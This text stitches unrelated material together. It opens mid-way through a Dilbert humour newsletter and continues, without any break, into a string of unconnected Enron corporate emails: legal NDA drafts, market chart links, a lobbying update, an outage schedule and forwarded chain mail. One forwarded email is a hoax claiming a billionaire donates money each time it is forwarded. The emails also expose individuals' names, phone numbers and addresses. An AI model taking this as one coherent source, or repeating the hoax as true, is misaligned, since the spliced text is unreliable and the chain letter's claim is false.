various dogs; those go on the floor at night too. One pillow is a
log-shaped thing called a bolster; it has no purpose that I can
discern.  Two are "Bucky(tm)" pillows that support one's neck
should that become necessary on an emergency basis.  When not in
use, they go on the floor with the bolster.

And then there are two pillows that can be used for -- of all
things -- your head. Those stay on the bed.

The bedspread somehow transmogrified into something
Frenchy-sounding, called a duvey or doovay or something like that.
It is so heavy that I put a lump of coal under it and I check its
progress every few days.  You can't actually sleep under it,
especially on warm California nights, but it sure is pretty.  That
goes on the floor too.

Thirteen pillows plus the doovay are strewn around the bedroom
floor all day.  I fantasize about someday making the bed just to
see what it would look like.  Or maybe I'll just spend that same
energy building a full-scale replica of Stonehenge.

I am delighted with my cornucopia of bedding because I know that
should those beautiful items somehow find their way from the floor
to the bed, the sight would make even the most jaded observer step
back and say, "Wow.  It must be a pain in the ass to have that many
pillows."

Incompetence Pays
-----------------

A true tale from the field...

My group ordered 14 new workstations for nearly $70,000.  The
contracts person (Induhvidual) responsible for buying the PCs
announced that she was able to negotiate a better price than we had
indicated, saving $14,000 on the purchase.  As a result of the cost
savings, she was granted an award of $7,000, 50% of the cost
savings.  This $7,000 award came out of my group's budget.

When we received the 14 workstations, we discovered how she had
saved the $14,000.  She had removed all the monitors from the
order.  We received 14 computers with no monitors.

We were forced to file a new order for the 14 monitors.  Since the
monitors were not being bought as part of a package, the new price
for the monitors came to $19,000, $5,000 more than our original
order.

The end result was that the $70,000 worth of workstations actually
cost us $82,000, and the Induhvidual was rewarded for her good
work.

Looking Busy
------------

Here's an excellent method for getting paid to do nothing, courtesy
of a devious DNRC member:

Scatter some papers over your desk as though you are working on
them.  Open your middle desk drawer (directly over your lap), place
your favorite magazine in the drawer and spend the next hour
reading it.  Put a pen in one hand and keep that hand in the
drawer.  If someone enters your office, remove the pen from the
drawer and close it in one smooth motion.

Two Dimensional Management
--------------------------

True story: Our senior execs decided they needed to be more
"visible" to the unwashed masses.  The solution: cardboard cutouts
of the VPs and senior VPs in the break rooms.

Induhviduals Speak
------------------

Here are two recent statements, both from the same Induhvidual, as
recorded by a vigilant DNRC member.

"I'm caught between a rock and a stone."

"My son has a huge appetite.  He has a bottomless leg."

Here are some more gems, all uttered by another prolific
Induhvidual.  (I might use some of these myself someday.)

"It's like being a monkey with chickens on your back!"

"Are you too blind to remember?"

"Anyone could go to that person and say, 'I need a bell on the side
of the elephant.'"

"He has too many fingers in the dike."

"It's like an engineer falling out of a building."

"Smooth as pie."

"I have no idea what that is.  Thank goodness we didn't order
three!"

"The active part is there, the proactive is not."

"Same crap, different fork."

Lazy Entrepreneur

Did you ever have a great business idea but you were too lazy to do
anything about it?  It's frustrating because other people don't
realize how brilliant you are.  To the ignorant observer it appears
you are sitting on your couch drinking soda, burping, and eating
the remnants of potato chips off your shirt.  You look lazy and
dim-witted when in truth you are lazy and brilliant.  It's totally
unfair.

That's why United Media and I created the Lazy Entrepreneur web
site. It's a message board where you can post your brilliant and
generally impractical ideas.  Or make snide remarks about those who
do.  You'll get all the benefits of displaying your brilliance in a
public forum while using no more energy than it takes to type. And
no one will see the embarrassed look on your face when a stranger
tells you your invention has existed for years and you can buy it
at any Target store.

I seeded the Lazy Entrepreneur with a bunch of my own brilliant and
impractical ideas. For example, I'd like to see a prescription pill
container with a built-in manual dial on the bottom, labeled for
each day of the week, so I can use it to remember if I already took
a pill that day.  If the pill has to be taken twice a day, the dial
would have two positions for each day.  If I had a pill container
like that I could stop worrying whether I took my pill and start
worrying whether I remembered to turn the dial.  For some reason,
that seems better to me.

If you don't want to give away your brilliant ideas, the web site
has information on copyrights, patents, trademarks and the like.

DNRC members will get an exclusive preview of the Lazy
Entrepreneur.  It won't be linked from Dilbert.com until next week,
but you can join in the beta test by following the link below.

http://www.unitedmedia.com/comics/dilbert/lazyentrepreneur/

You'll have first choice of user names, and your feedback will have
a big impact on upgrades to the site. (If you find anything that
doesn't work, please send the report to
lazye_bugs@unitedmedia.com).

Dilbert.com Short List
The Dilbert List of the Day is now available in a short, weekly
highlights version that you can email to a friend. You can find the
Short Lists at:

http://umweb1.unitedmedia.com/comics/dilbert/lotd/ShortList/shortlist_email.ht
ml

For information on reprinting the Short List on your company's
Intranet, email dgoldstein@unitedmedia.com.

DNRC Members-only Link Icons
----------------------------

We've added a new animated DNRC link icon to the members' only page
at:

http://www.unitedmedia.com/comics/dilbert/dnrc/membersonly.html

This link is available only in the newsletter.

Wise Crack
----------

In a recent Sunday strip, Wally's co-workers held him down while
Catbert branded him with a hot iron.  An eighth of an inch of
Wally's butt crack was visible in the original drawing.  I was
informed that readers would complain that Wally's butt crack was
destroying the moral fiber of the planet, so we removed the butt
crack line from the print version and included it in the web
version.  This allows us to test the idea that exposure to cartoon
butt cracks is bad for children.  In theory, the kids who see the
unedited web version will grow up to be serial killers, marketing
professionals and auditors.  They might even have butt cracks of
their own, possibly using mirrors to ogle them.  Or they might
become butt crack addicts.  Adult magazines might be printed that
feature nothing but one-eighth inch black lines.

The possibilities are frightening.

True Tales of Induhviduals

Those In-duh-viduals continue to amaze and amuse us.  Here now,
some more true tales as reported by DNRC operatives in the field.

True Tale 1

My boss handed me ten pages of data and asked me to scan them, use
optical character recognition (OCR) to get them into our
spreadsheet software and rearrange the columns to meet his needs.
After several hours spent scanning and fixing OCR errors, I learned
that the spreadsheets had originally been e-mailed to my boss as an
attachment.  It seems that my boss didn't remember how to rearrange
columns using spreadsheet software so he figured it would be
easiest to print the file and have me do it instead.

True Tale 2
During my recent attempt to get a pay raise, part of the
conversation went like this:

Me:  "I have many more responsibilities than I did when I was first
hired, so you should pay me more."

Pointy-Haired Boss: "No, because if you weren't here, we'd just do
without the extra functions that you're performing, so why should
we pay you to do them?"

True Tale 3

I'm the webmaster at my company. I asked the PR director to give me
the most up-to-date list of our business locations so I could
update the web. She downloaded my web pages and gave them to me.

True Tale 4

I was having trouble getting my boss to read my e-mail.  Upon
investigation he told me he got too many messages and couldn't read
them all.  I investigated further and discovered that he was using
the alphabetical sort feature in Outlook, and since my name started
with a "P" he never got down to my e-mails.

True Tale 5

The following is the real reason dot-coms are burning money.  Our
product development team was meeting with the VP for product
development to unveil our product.  It was fully functional to the
point of beta-testing.  At the conclusion of our presentation, the
VP responded that this was great, since he had been in discussions
with an external IT firm about outsourcing the development.  "Maybe
we'll be able to get them to do it cheaper if they know we already
have a working product."

True Tale 6

A friend told me that his supervisor permitted the receptionist to
make up lost time on a Saturday, when they are closed.

True Tale 7

This is the real signature line of every mail one of my bosses
sends:

             (Company name) ... Shiting ideas to solutions

I think he meant shiFting.

True Tale 8

My high school French teacher isn't the sharpest crayon in the box.
She was playing a French song off the Internet, and the class
wanted to know who the band was. She looked at the computer for a
minute, walked to the chalkboard and promptly wrote: MP3.

True Tale 9

Sometimes, Induhvidualism can work out for the best.

I work at a movie theatre chain that has been sold to another movie
theatre chain.  Technically, everyone in my company is being laid
off.  Per company policy, all employees will be receiving severance
pay before going back to the *exact same* jobs they had before the
switch.

True Tale 10

An example from our bright travel department:

"Regarding your travel request for Nashville.  You are looking at a
Southwest flight at 1740.  Would this be a.m. or p.m.?"

True Tale 11

One day on the way to work my wife and I passed by a park and saw
an Induhvidual cleaning up trash in the park using one of those
"garbage harpoons" and a bucket.

We watched her walk along, picking up garbage and smoking her
cigarette as she went. Just as I started to say how dedicated she
must be for not even stopping her work for a smoke break, she took
the cigarette butt from her mouth and flicked it on the ground and
continued cleaning, leaving the cigarette butt smoldering on the
ground behind her.

True Tale 12

Here is a wonderful and true story about how the bureaucratic mind
works.

I live in California, and the large building I work in is cooled by
drawing in outside air during the months of June and May. (This
saves lots of money because the huge air conditioner remains off.)

But one June day it was unseasonably hot, so I called the
maintenance department to come and turn on the large roof-mounted
air conditioner.  The following conversation is a jewel.

ME:  It is very hot and uncomfortable in this building.  Will you
please turn on the air conditioning?
 
HER:  Uh, we always leave the air-conditioning off during this
month.

ME:  Yes, I know.  But it is hot outside, and worse inside.

HER:  I am sorry, but this is just part of our yearly program.  We
don't use air conditioning in June.

ME:  But it is getting unbearable in here.

The above exchange was repeated several times, and finally, with
some irritation in her voice, she delivered the following, and hung
up.

HER:  Sir, I am sorry you are uncomfortable over there, but we only
control the air-conditioning; we have no control over the weather!

True Tale 13

An angry Induhvidual recently accused me of "cheating" at our
various work meetings.  I asked how.  The Induhvidual replied that,
"You always prepare for our meetings and that gives you an unfair
advantage."

Dogbertian Poll
---------------

Dogbert might have inspired this idea.  Someone recently spammed a
bunch of people with a message that asked them to call a 900 number
to vote on the issue of whether spam was a good thing or a bad
thing.  It only cost you $1.50 per minute to complain about spam.

Dogbert Answers My Mail
-----------------------

In this section Dogbert answers the mail that I am too polite to
answer myself.  These are all based on real e-mail.  The names have
been changed to make them funnier.

Dear Mr. Adams,

I am studying Social Communication in Argentine.  I wonder if you
could send by e-mail all the information about people who work in
offices, the relationship between them and the work environment and
also about office design.

I wish you could send all the information you can get by e-mail
otherwise you can send me a list of bibliography to search
information about the topics in Spanish.

I beg you to answer in a short time, my e-mail.

Romero

Dear Remora,

I'm glad you begged.  People in the United States are too proud to
get right down on all fours and whimper when they want something.
I will send the information you requested right away.  If you don't
see it within a day, call my 900 number and complain.  It is only
$1.50 per minute.

Dogbert

----

I THINK YOUR CARTOONS ARE LOUSY,
PLEASE STOP SMOKING THAT DAMN CRACK!

Anonymous

Dear Ahmamouse,

Mr. Adams resents that comment.  He has been known to erase crack
to satisfy editors but he never smokes them.

Dogbert

---

My Latin teacher gives us extra credit if we bring in anything that
contains one or more of our 'daily phrases,' such as 'Ad Hoc,'
'Ante Meridian,' and 'Circa.'  I was wondering if you could make me
a cartoon including many Latin phrases that would still be used
today.  This would be a big help.

Abe

Dear Ape,

Latin is what's known as a dead language.  It got that way because
every time a Latin student asked for a special cartoon he was slain
by a hideous monster that lived under his bed.  I'm not saying that
will happen to you, right away.  Anyway, here's a little story that
uses your daily phrases.

My poor Irish ante Meridian was broke.  So she circa the block in
her hometown of Unum until she saw a fish fall from the back of a
fish delivery truck.  It was a carpe worth ten cents.  She thought
that that carpe diem would get her out of hock, or at least reduce
it, but she used so much gas driving in circa that it turned out to
be an ad hoc situation.  So she ate a potato and went to visit her
niece, Pati O'Furniture who lived in the town of Pluri.  She took
the E Pluri Bus from Unum.

Dogbert

Dilbert Fodder

What's bugging you about your job?  Let me know and you might see
it in a Dilbert comic or newsletter.  The best comic fodder
involves workplace peeves, devious strategies, frustrations of
dealing with others, conflicting objectives, unintended management
consequences, and of course my favorite - idiot bosses.

And I love True Tales of Induhviduals.

And if you're seeing any new management trends that need to be
mocked, I can help.  Send your suggestions to me at
scottadams@aol.com.  Short ones are better.

How to Subscribe to the Dilbert Newsletter
------------------------------------------

You can sign up for the free Dilbert Newsletter automatically. Send
a blank e-mail to dilbert-text-on@list.unitedmedia.com.

Unsubscribing
-------------

To unsubscribe automatically, send a blank e-mail to
dilbert-off@list.unitedmedia.com.

Problems Signing up for the Newsletter
---------------------------------------

If the automatic method doesn't work for you, simply send a message
to newsletter@unitedmedia.com specifying your e-mail address and
you will be added manually.  This method is much slower than the
automatic method so please be patient.

Scott Adams
scottadams@aol.com

All submissions to Scott Adams and/or Dilbert.com shall become the
exclusive property of United Media and Scott Adams, and they will
have the right to use them free of charge, in any manner and in any
medium, forever and throughout the world.

Please do not reply to dilbertnewsletter@unitedmedia.com

Yes.

1185 Avenue of the Americas
New York, New York 10036

Thanks

From: Mark.Greenberg@enron.com [mailto:Mark.Greenberg@enron.com]
Sent: Friday, November 02, 2001 9:40 AM
To: ccerria@Hess.com
Cc: John.Allario@enron.com; Stephanie.Panus@enron.com;
Tana.Jones@enron.com
Subject: RE: NDA with Enron

Chuck -

I will finalize the agreement this morning.  Should I send execution
originals to your attention?  If so, to what address?

Thanks.

Mark

    -----Original Message-----
   From:   "Cerria, Chuck (Commodities - NY)" <ccerria@Hess.com>@ENRON
   Sent:   Thursday, November 01, 2001 7:53 AM
   To:     Greenberg, Mark
   Subject:  RE: NDA with Enron

   Yes, that's fine.

   -----Original Message-----
   From: Greenberg, Mark [mailto:Mark.Greenberg@ENRON.com]
   Sent: Wednesday, October 31, 2001 5:53 PM
   To: ccerria@hess.com
   Subject: FW: NDA with Enron

   Chuck -

   Looks like I had the e-mail address incorrect.

   Mark

   >  -----Original Message-----
   > From:      Greenberg, Mark
   > Sent:      Wednesday, October 31, 2001 4:50 PM
   > To:   'ccierra@Hess.com'
   > Cc:   Allario, John; Jones, Tana
   > Subject:   NDA with Enron
   >
   >
   > Chuck -
   >
   > John Allario forwarded the comments you made to the NDA for my review
   > and comment.  I agree with all revisions, but the change to the
   > business relationship provision in the introductory paragraph.  I
   > would propose that we state the "Project" to be "... each of Enron's
   > and Amerada's affiliates are prepared to furnish each other with
   > information in connection with a possible business transaction or
   > relationship based upon use of the EnronOnline platform or software
   > (the "Project")..."  The statement made in your revision is a bit
   > beyond what is actually intended to be discussed.
   >
   > Please consider this change and let me know your thoughts.  If this is
   > acceptable, I will incorporate it into final agreements, together with
   > your other comments, and see that final agreements are forwarded for
   > signature.
   >
   > Thanks.
   >
   > Mark
   > Senior Counsel
   > Ph: 713-345-8897
   > Fax: 713-646-4842
   > E-mail:  mark.greenberg@enron.com
   >
   >

   **********************************************************************
   This e-mail is the property of Enron Corp. and/or its relevant affiliate
   and
   may contain confidential and privileged material for the sole use of the
   intended recipient (s). Any review, use, distribution or disclosure by
   others is strictly prohibited. If you are not the intended recipient (or
   authorized to receive for the recipient), please contact the sender or
   reply
   to Enron Corp. at enron.messaging.administration@enron.com and delete
   all
   copies of the message. This e-mail (and any attachments hereto) are not
   intended to be an offer (or an acceptance) and do not create or evidence
   a
   binding and enforceable contract between Enron Corp. (or any of its
   affiliates) and the intended recipient or any other party, and may not
   be
   relied on by anyone as the basis of a contract by estoppel or otherwise.
   Thank you.

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 07/10/2000 
03:06 PM ---------------------------

Pinnamaneni Krishnarao
07/10/2000 02:03 PM
cc:  
Subject: 

Free Seminar: "Optimization Model for Capital Investment Decisions
Using Option Pricing", by INFORMS President John Birge

You are invited to attend a free, 45-minute online seminar on
"Optimization model for capital investment decisions using option
pricing".

When: Wednesday, July 19, at 2:00 PM EDT

Where: Right from your desktop! You can participate using your office
computer and telephone.

How: <http://www.e-optimization.com/resources/web_realoptions.cfm>

Real-option valuation incorporates the opportunities a company may enjoy
using either new knowledge or changes in the marketplace for making
capital investments. The talk focuses on optimization models for
determining best investment levels and demonstrates how stochastic
(involving random variables) programs consider risk without creating
unwieldy formulations. Hear how Hewlett-Packard, Intel, and General
Motors are using this process successfully.

INFORMS President John Birge, Dean of the McCormick School of
Engineering and Applied Science at the Northwestern University in
Illinois, will give the seminar. John is a popular author and speaker
and during the past five years has been in demand for his talks on
stochastic programming and optimization.

Who should attend: OR analysts, strategic planners, financial analysts,
consultants and financial decision makers or anyone interested in
hearing about innovative, exciting, practical decision-making tools.

The information contained herein is based on sources that we believe to be
reliable, but we do not represent that it is accurate or complete.  Nothing
contained herein should be considered as an offer to sell or a solicitation
of an offer to buy any financial instruments discussed herein.  Any
opinions expressed herein are solely those of the author.  As such, they
may differ in material respects from those of, or expressed or published by
on behalf of Carr Futures or its officers, directors, employees or
affiliates.  ? 2001 Carr Futures

The charts are now available on the web by clicking on the hot link(s)
contained in this email. If for any reason you are unable to receive the
charts via the web, please contact me via email and I will email the charts
to you as attachments.

Crude     http://www.carrfut.com/research/Energy1/crude31.pdf
Natural Gas     http://www.carrfut.com/research/Energy1/ngas31.pdf
Distillate     http://www.carrfut.com/research/Energy1/hoil31.pdf
Unleaded     http://www.carrfut.com/research/Energy1/unlded31.pdf

Nov WTI/Brent Spread
http://www.carrfut.com/research/Energy1/clx-qox.pdf
Dec Heat Crack     http://www.carrfut.com/research/Energy1/heatcrack.pdf
Dec Gas Crack     http://www.carrfut.com/research/Energy1/gascrack.pdf
Dec/May Heat Spread     http://www.carrfut.com/research/Energy1/hoz-hok.pdf
Jan/Feb Heat Spread     http://www.carrfut.com/research/Energy1/hof-hog.pdf
Nov Gas/Heat Spread     http://www.carrfut.com/research/Energy1/hux-hox.pdf
Dec Gas/Heat Spread     http://www.carrfut.com/research/Energy1/huz-hoz.pdf
Nov/Mar Unlead Spread
http://www.carrfut.com/research/Energy1/hux-huh.pdf

Nat Gas Strip Matrix
http://www.carrfut.com/research/Energy1/StripmatrixNG31.pdf
Nat Gas Spread Matrix
http://www.carrfut.com/research/Energy1/SpreadmatrixNG31.pdf

Crude and Products Spread Matrix
http://www.carrfut.com/research/Energy1/SpreadmatrixCL31.pdf

Scott Oblander
312-762-1015
312-762-1014 fax
Carr Futures
150 S. Wacker
Suite 1500
Chicago, IL 60606

I just  spoke to Jeff and he is interested in talking to you.  He saw your 
name on some kind of list for "redeployment" and asked if I knew you.   The 
job is in his fundamental analysis group.  He wants you to send your resume 
today.

Pete

fyi............

Bev
---------------------- Forwarded by Beverly Beaty/HOU/ECT on 07/13/2000 08:04 
   
	Enron Capital & Trade Resources Corp.
	
	From:  "Cynthia Cantrell" <Cynthia.Cantrell@dvn.com>                          
 07/13/2000 07:47 AM
	
To: <Beverly.beaty@enron.com>
cc:  
Subject: Nomination Change on Tejas Pipeline effective 7/14/00

Attached is a revised nomination for the Haynes 21 on Tejas to be effective 
7/14/00.  If you have any questions or need additional informaiton, please 
feel free to call me at (405) 552-4611.

Thank you,

Cynthia Cantrell

 - EnronHaynes21071400.xls

eSource presents Piranha Web training

Piranha Web offers an online connection to complete company analysis via 
content that includes Disclosure, Worldscope, Datastream and I/B/E/S.  The 
product is designed to allow users to get complete company fundamental 
financials, earnings estimates, and market data.

Training Agenda Includes:
? General Introduction.
? Basic ticker query building

Attend our Piranha Clinic: 
    
May 11 -    9:00 -10:00 AM  EB572

Seats fill up fast! To reserve a seat, please call Stephanie E. Taylor at 
5-7928
Check the eSource training page at http://esource.enron.com/training.doc for 
additional training sessions and vendor presentations

http://esource.enron.com

Tana,

The distinction is that Carol and Aparna work for Ken supporting credit for 
Enron Industrial Markets, which where the pulp and paper world resides.
Walter and I support Enron Global Markets where EOL lives and breathes.

tm

From:  Guidroz, Walter  
Sent: Monday, March 05, 2001 10:07 AM
To: Jones, Tana
Cc: Moran, Tom
Subject: RE: Click Paper Approvals

Yes Tana, Carol North works in the Credit Group.  She will be working with 
Aparna Rajaram and Ken Curry.  Please add her to any ClickPaper distribution 
lists that you currently send out; thanks.

WG

From:  Jones, Tana  
Sent: Monday, March 05, 2001 10:00 AM
To: Moran, Tom; Guidroz, Walter
Subject: Click Paper Approvals

Does Carol North work in Credit?
----- Forwarded by Tana Jones/HOU/ECT on 03/05/2001 10:04 AM -----

	Carol North/ENRON@enronXgate 03/05/2001 09:37 AM 	   To: Karen 
Lambert/HOU/ECT@ECT, Kelly Lombardi/NA/Enron@Enron, Samuel 
Schott/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, Adnan 
Patel/ENRON@enronXgate, Bill D Hare/HOU/ECT@ect, Steve 
Venturatos/HOU/ECT@ECT, Camille Gerard/Corp/Enron@ENRON, Mary G 
Gosnell/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Tanya 
Rohauer/ENRON@enronXgate, Paul Radous/ENRON@enronXgate, Tom 
Moran/ENRON@enronXgate, Tana Jones/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT, 
Ken Curry/ENRON@enronXgate, Nicole Hunter/NA/Enron@Enron, Aparna 
Rajaram/ENRON@enronXgate  cc:   Subject: Click Paper Approvals

Please see attached.

 << File: CP 03-05a-01.xls >> 

Please take the time to respond to this survey.  It is important for Enron =
to=20
know what you think about the company....your vote counts!

Regards,

Chris Calger and Tim Belden
---------------------- Forwarded by Christopher F Calger/PDX/ECT on=20
10/20/2000 08:07 AM ---------------------------
  =20
=09Enron North America Corp.
=09
=09From:  The Pulse @ ENRON                           10/19/2000 06:26 PM
=09

Sent by: Enron Announcements@ENRON
To: The Pulse mailout
cc: =20
Subject: IMPORTANT MESSAGE FROM OFFICE OF THE CHAIRMAN

Is available: through Friday, Oct. 27
Is located at: survey.enron.com

You only have one more week to check your pulse.  Your input is crucial, so=
=20
please take a few minutes today to fill out Enron's annual employee feedbac=
k=20
survey.  It is confidential and only takes about 10 minutes.  Give us your=
=20
honest, candid feedback =01) we need to know what you think and how you fee=
l=20
about your job and about Enron.

It's important for you to know that we will respond actively to your=20
comments.  We need your help not only to pinpoint and diagnose any existing=
=20
problems, but also to help us identify the best solutions.  Last year we=20
formed action teams to address the issues that you indicated in the survey,=
=20
so let us know if they have helped make Enron a better place to work.

Again, please stop what you're doing for just a few minutes today and check=
=20
your pulse.

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 01/06/2000 
10:25 AM ---------------------------
   
	From:  Maria Sandoval                           01/06/2000 08:24 AM
	
To: Margo Reyna/HOU/EES@EES, Andrea R Guillen/HOU/ECT@ECT, Phenicia 
Olivier/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, Melissa 
Rodriguez/HOU/ECT@ECT, Pamela Sonnier/HOU/ECT@ECT, Cassandra S 
Dutton/HOU/ECT@ECT, Cecilia Olvera/HOU/ECT@ECT, Lorraine Becker/HOU/ECT@ECT, 
Irena D Hogan/HOU/ECT@ECT, Angela Henn/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, 
Chantelle Villanueva/HOU/ECT@ECT, yolanda.sandoval@mwk.com, 
patty.soria@mwk.com, mcastillo@metromkt.com, elizabeth.gutierrez@eott.com, 
Judy Hernandez/HOU/ECT@ECT, Elizabeth Soto/HOU/ECT@ECT, amolina@unifirst.com, 
apena26@hotmail.com
cc:  
Subject: Fw: If u delete this...u seriously don't have a heart!

---------------------- Forwarded by Maria Sandoval/HOU/ECT on 01/06/2000 
08:24 AM ---------------------------

Chantelle Villanueva
01/06/2000 08:17 AM
To: Brenda Flores-Cuellar/HOU/ECT@ECT, Melissa Jones/Enron 
Communications@Enron Communications, Heather Choate/HOU/ECT, Alex 
Saldana/HOU/ECT@ECT, Cecilia Olvera/HOU/ECT@ECT, Maria Sandoval/HOU/ECT@ECT, 
Irena D Hogan/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Chantelle Villanueva/HOU/ECT on 
01/06/2000 08:16 AM ---------------------------

Brenda Flores-Cuellar
01/06/2000 08:10 AM
To: Vanessa Cruz <VCruz@AUANET.ORG>, Yolanda Ford/HOU/ECT, Gerard197@aol.com, 
javery3@enron.com, Melissa Jones/Enron Communications@ENRON 
COMMUNICATIONS@ENRON, mmartinez@eesinc.com, ryanm@huddlestonco.com, 
MDRODR@aol.com, Susan D Trevino/HOU/ECT, Chantelle Villanueva/HOU/ECT, 
Michelle Vitrella/HOU/ECT, "Comello, Mary" <Mary.Comello@natoil.com>, 
"Padron, Myriam" <myriam.padron@et.pge.com>, "Beatrice Reyna" 
<beatricereyna@hotmail.com>, Del Martinez 
<dmartinz@staff.austin.isd.tenet.edu>, "Lilia Campos" 
<liliacampos@tealcon.com>
cc:  

> Subj:   Fwd: Fw: If u delete this...u seriously don't have a heart!
>
>  >Date: Sat, 4 Dec 1999 12:49:34 -0800
>  >
>  >
>  >   Dear Friends,
>  >
>  >       My name is Anna Cohen and I  live in Albany New York.  My
daughter
>  >Liz recently had a baby girl named Jada.  2 months early.  Jada has many
>  >problems with her heart and lungs and medical costs have become
extremely
>  >expensive. Jada was recently moved to a hosptial in california and the
>  >move was very expensive. A billionaire in california has promised to
give
>  >$.05 for every  time this email is forwarded.  If you wouldn't mind
>  >forwarding
>  >this to everyone on your  list I would greatly appreciate it as well as
>  >my  daughter and little  Jada.  This could save a life.  Please have a
>  >heart and forward this.
>  >
>  >                                 Remember:  What goes around comes
around.
>  >
>  >          Thank you,
>  >
>  >                                  Anna Cohen
>  >
>  >
>  >    p.s. Please Forward to everyone on your list!!!
>
>
>

Great idea.  Thanks very much for the info.  Katz is point-person for Davis on the Edison MOU.
 
Best,
Jeff

-----Original Message----- 
From: Denne, Karen 
Sent: Wed 8/29/2001 9:23 AM 
To: Dasovich, Jeff; 'sgovenar@govadv.com' 
Cc: 
Subject: FW: SBX2 78 - Update

fyi, Joan Kradin of Marathon used to be Richard Katz's chief of staff... (just background info in case you ever want to plant some seeds from a different angle...) kd

 -----Original Message----- 
From:   "Scott Govenar" <sgovenar@govadv.com>@ENRON [<mailto:IMCEANOTES-+22Scott+20Govenar+22+20+3Csgovenar+40govadv+2Ecom+3E+40ENRON@ENRON.com>] 

Sent:   Tuesday, August 28, 2001 8:43 PM 
To:     Sharma, Ban; Leboe, David; Eric Letke; Thome, Jennifer; Ken Smith; Bev Hansen; Hedy Govenar; Buster, Miyung; Guerrero, Janel; Robert Frank; Mike Day; Lawner, Leslie; Kingerski, Harry; Karen Denne; Kean, Steven J.; Alan Comnes; Susan J Mara; Kaufman, Paul; Jeff Dasovich; Steffes, James D.; Rick Shapiro

Subject:        SBX2 78 - Update 

The Assembly Energy, Costs and Availability Committee heard and voted on 
amendments to SBX2 78 proposed by many interested parties.  Some passed, 
some failed and most of them served to further confuse the committee 
members.  Eventually the committee stalled on detailed proposals made by 
TURN and other consumer groups. 

During the hearing Hedy had the opportunity to speak to Nancy McFadden and 
Richard Katz from the Governor's office regarding a couple of issues 
highlighted by Jeff and Mike Day.  Richard said he is willing to make more 
technical amendments when the bill gets to Appropriations.  Subsequently, 
Hedy and I spoke to D.J. Smith at Jeff's request.  D.J. agreed that the bill 
needs to use the August 24th date as a grandfather date for executed DA 
contracts, but specifically asked that we (Enron) not speak to Richard about 
it.  He said he will have the business entities request it as a clarifying 
amendment.  If we request it, he thought Richard would be less likely to 
believe it's clarifying since he believes our motives to be too 
self-serving.  Also, we spent some time with Lenny Goldberg on direct 
access.  We suggested that "shall" be changed to "may" in order to give more 
leeway to the PUC on direct access suspension.  He didn't necessarily oppose 
the policy, but his position is not to amend a bad bill unless you can 
totally rewrite it (which he later attempted to do). 

A lobbyist for a significant generator told us that they are prepared to 
push Edison into bankruptcy (along with the Canadian government) if this 
bill passes. 

There is no consensus that this measure will ever get to the Governor's 
desk. 

The committee will meet again tomorrow at approximately 1:30 p.m. to vote on 
additional amendments and ultimately to vote on the complete bill. 

------------------------------------------------------------------------------------------------------
W E E K E N D   S Y S T E M S   A V A I L A B I L I T Y

F O R

October 19, 2001 5:00pm through October 22, 2001 12:00am
		    		    		    				    		    		    				    			    		    		
SCHEDULED SYSTEM OUTAGES: 

ECS power outage

A power outage will occur in Enron Center South on Saturday, October 20, 2001 to complete repairs to the electrical riser system required to correct issues resulting from Tropical Storm Allison.

IDF's and thus network resident applications and data will be off line on all ECS floors 3 through 6 from 10:00 a.m. Saturday until 8:00 a.m. Sunday.

Trading floors 3, 4, 5 and 6 desktop power will be off beginning 2:00 p.m. Saturday until 12:00 noon Sunday.

Avaya telephony phone system will be unaffected.  However, the turret system will be offline starting 11:00 a.m. Saturday until 1:00 p.m. Sunday.

Additionally, during this power outage the cooling system will be upgraded.  This upgrade may take up to 2 hours.  Occupants in the building may experience as much as a five degree rise in temperature.
 
Contacts: Stuart Fieldhouse  713-853-5699  
	     Lance Jameson       713-345-4423  
 
ARDMORE DATA CENTER - FACILITY OPERATIONS: No Scheduled Outages.

AZURIX: No Scheduled Outages.

EB34 DATA CENTER - FACILITY OPERATIONS: No Scheduled Outages.

EDI SERVER: No Scheduled Outages.

ENRON CENTER SOUTH DATA CENTER - FACILITY OPERATIONS: No Scheduled Outages

ENRON NORTH AMERICAN LANS:  
Impact:  EBS
Time:  Fri 10/19/2001 at  5:00:00 PM CT thru Fri 10/19/2001 at  5:30:00 PM CT
	Fri 10/19/2001 at  3:00:00 PM PT thru Fri 10/19/2001 at  3:30:00 PM PT
	Fri 10/19/2001 at  11:00:00 PM London thru Fri 10/19/2001 at  11:30:00 PM London
Outage:  Decommission PROWLER firewall
Environments Impacted:  EBS
Purpose: Migration of EBS internal network to Corp
Backout: 
Contact(s): 	Chris Shirkoff    713-853-1111
		    		    		  		
Impact:  3AC
Time:  Fri 10/19/2001 at  6:00:00 PM CT thru Fri 10/19/2001 at  10:00:00 PM CT
	Fri 10/19/2001 at  4:00:00 PM PT thru Fri 10/19/2001 at    8:00:00 PM PT
	Sat 10/20/2001 at  12:00:00 AM London thru Sat 10/20/2001 at  4:00:00 AM London
Outage:  Migrate 3AC 8th and 9th Floor to Corp IP space
Environments Impacted:  All
Purpose: EBS Consolidation
Backout: In the event of a failure, I will put the original links and switches back in place, putting 8 and 9 back on EBS IP space.
Contact(s): 	Micah Staggs    713-345-1696

Impact:  CORP
Time:  Fri 10/19/2001 at  6:00:00 PM CT thru Fri 10/19/2001 at  7:00:00 PM CT
	Fri 10/19/2001 at  4:00:00 PM PT thru Fri 10/19/2001 at  5:00:00 PM PT
	Sat 10/20/2001 at  12:00:00 AM London thru Sat 10/20/2001 at  1:00:00 AM London
Outage:  Change internal routing to EIN
Purpose: EBS Integration
Backout: Remove static route, go back through EBS environment on 44
Contact(s): 	Dennis McGough    713-345-3143
 
FIELD SERVICES:  No Scheduled Outages.

INTERNET: No Scheduled Outages.
 
HR:
Impact:  HR
Time:  Sat 10/20/2001 at  7:30:00 AM CT thru Sat 10/20/2001 at  3:30:00 PM CT
	Sat 10/20/2001 at  5:30:00 AM PT thru Sat 10/20/2001 at  1:30:00 PM PT
	Sat 10/20/2001 at  1:30:00 PM London thru Sat 10/20/2001 at  9:30:00 PM London
Outage:  Memory Upgrade for HR-DB-1, 4, and 5
Purpose: More memory is need on these servers for additional databases.
Backout: Restore to previous configuration.
Contact(s): 	Brandon Bangerter   713-345-4904
		Mark Calkin               713-345-7831  
		Raj Perubhatla      713-345-8016  281-788-9307 
 
